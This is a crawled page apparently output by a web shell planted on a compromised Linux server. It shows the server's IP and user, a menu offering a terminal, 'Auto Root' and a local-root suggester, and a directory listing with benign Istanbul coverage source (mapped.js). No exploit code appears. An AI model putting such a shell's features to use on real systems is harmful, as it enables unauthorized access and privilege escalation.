Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
istanbul-lib-source-maps /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
get-mapping.js
5.66
KB
-rw-r--r--
2023-08-21 05:40
map-store.js
7.15
KB
-rw-r--r--
2023-08-21 05:40
mapped.js
2.77
KB
-rw-r--r--
2023-08-21 05:40
pathutils.js
537
B
-rw-r--r--
2023-08-21 05:40
transform-utils.js
478
B
-rw-r--r--
2023-08-21 05:40
transformer.js
4.34
KB
-rw-r--r--
2023-08-21 05:40
Save
Rename
/* Copyright 2015, Yahoo Inc. Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms. */ 'use strict'; const { FileCoverage } = require('istanbul-lib-coverage').classes; function locString(loc) { return [ loc.start.line, loc.start.column, loc.end.line, loc.end.column ].join(':'); } class MappedCoverage extends FileCoverage { constructor(pathOrObj) { super(pathOrObj); this.meta = { last: { s: 0, f: 0, b: 0 }, seen: {} }; } addStatement(loc, hits) { const key = 's:' + locString(loc); const { meta } = this; let index = meta.seen[key]; if (index === undefined) { index = meta.last.s; meta.last.s += 1; meta.seen[key] = index; this.statementMap[index] = this.cloneLocation(loc); } this.s[index] = this.s[index] || 0; this.s[index] += hits; return index; } addFunction(name, decl, loc, hits) { const key = 'f:' + locString(decl); const { meta } = this; let index = meta.seen[key]; if (index === undefined) { index = meta.last.f; meta.last.f += 1; meta.seen[key] = index; name = name || `(unknown_${index})`; this.fnMap[index] = { name, decl: this.cloneLocation(decl), loc: this.cloneLocation(loc) }; } this.f[index] = this.f[index] || 0; this.f[index] += hits; return index; } addBranch(type, loc, branchLocations, hits) { const key = ['b', ...branchLocations.map(l => locString(l))].join(':'); const { meta } = this; let index = meta.seen[key]; if (index === undefined) { index = meta.last.b; meta.last.b += 1; meta.seen[key] = index; this.branchMap[index] = { loc, type, locations: branchLocations.map(l => this.cloneLocation(l)) }; } if (!this.b[index]) { this.b[index] = branchLocations.map(() => 0); } hits.forEach((hit, i) => { this.b[index][i] += hit; }); return index; } /* Returns a clone of the location object with only the attributes of interest */ cloneLocation(loc) { return { start: { line: loc.start.line, column: loc.start.column }, end: { line: loc.end.line, column: loc.end.column } }; } } module.exports = { MappedCoverage };